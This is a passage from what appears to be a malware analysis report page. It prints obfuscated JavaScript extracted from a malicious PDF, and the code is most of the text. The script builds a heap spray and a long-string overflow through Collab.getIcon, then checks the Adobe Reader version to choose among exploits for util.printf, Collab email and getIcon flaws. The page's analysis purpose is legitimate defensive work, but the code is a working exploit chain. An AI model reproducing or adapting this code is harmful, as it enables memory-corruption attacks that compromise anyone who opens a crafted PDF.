fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){ arry[vqcQD96y] = yarsp + vvpethya; } var tUMhNbGw = unescape("%09"); while (tUMhNbGw.length < 0x4000){ tUMhNbGw += tUMhNbGw; } tUMhNbGw = "N." + tUMhNbGw; app.doc.Collab.getIcon(tUMhNbGw); } } function pdf_start(){ var version = app.viewerVersion.toString(); version = version.replace(/\D/g,''); var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2)); if ((varsion_array[0] == 8) && (varsion_array[1] == 0) \|\| (varsion_array[1] == 1 && varsion_array[2] < 3)){ util_printf(); } if ((varsion_array[0] < 8) \|\| (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){ collab_email(); } if ((varsion_array[0] < 9) \|\| (varsion_array[0] == 9 && varsion_array[1] < 1)){ collab_geticon(); } } pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 13

Related samples 8

Extracted artifacts 2